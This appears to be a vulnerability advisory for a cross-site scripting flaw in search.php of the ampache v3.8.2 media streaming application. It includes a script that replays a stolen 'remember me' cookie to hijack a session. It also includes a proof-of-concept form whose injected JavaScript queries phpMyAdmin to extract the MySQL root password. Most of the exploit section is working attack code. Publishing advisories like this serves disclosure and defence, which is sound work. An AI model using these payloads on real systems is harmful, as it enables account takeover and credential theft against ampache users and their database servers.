Vendor:  
==========  
ampache.org  
  
  
  
Product:  
==============  
ampache v3.8.2  
  
A web based audio/video streaming application and file manager allowing you to access your music & videos from anywhere,  
using almost any internet enabled device.  
  
  
  
  
Vulnerability Type:  
===================  
Cross Site Scripting (XSS)  
  
  
  
  
Security Issue:  
================  
ampache has XSS entry point on "search.php" webpage, if the "remember me" checkbox is used when authenicating, remote attackers  
can steal the "ampache_remember" cookie to potentially gain access to the ampache application from another machine/browser.   
  
If application is hosted in an environment using name-based virtual hosting where many different hosts can share the SAME IP address.  
Then possibly attackers on same virtual environment can add the session exploit file to the web server and later request it via IP address  
potentially allowing attackers to be authenticated using the victims stolen "remember me" credentials.  
  
1 Open a new browser etc  
2 Enter victims IP followed by our exploit HTML file including the victims stolen cookie and remember me token.  
Your in!  
  
e.g.  
  
<script>  
document.cookie="ampache_remember=admin%3Afec492d2160d171ca6e73178d7642e5e%3A9607fc374991cd336dad41b69cddef612981cbdf823a5fa0e8778187e594a7bc; ampache=clrcnors56jpt5h5r8krfp9ag1; ampache_user=admin; player-61646d696e=1";  
window.open('http://VICTIM-IP/ampache-3.8.2_all/?ampache=clrcnors56jpt5h5r8krfp9ag1')  
</script>  
  
  
  
Below XSS exploit will instead attempt to lift MySQL Database 'root' user password if PHPMyAdmin is present.  
  
  
  
Exploit/POC:  
=============  
Steal MySQL Database 'root' user password POC, if PHPMyAdmin is present.  
We will use backtick "`" operator for the Ajax GET request as single quotes are escaped by slashes.  
  
Tested successful in Firefox / PHPMyAdmin 4.5.1  
  
<form method="POST" action="http://127.0.0.1/ampache-3.8.2_all/search.php?type=song">  
<select name="rule_1">  
<option value="/></script><script>var xhr=new XMLHttpRequest();xhr.onreadystatechange=function(){if(xhr.status==200){var n=xhr.responseText.search(`username=root`);if(n!=-1){alert(xhr.responseText.substring(n+104,n+275));}}};xhr.open(`GET`,`http://127.0.0.1/phpmyadmin/sql.php?db=mysql&goto=db_structure.php&table=user`,true);xhr.send(null)</script>">Anywhere</option>  
</select>
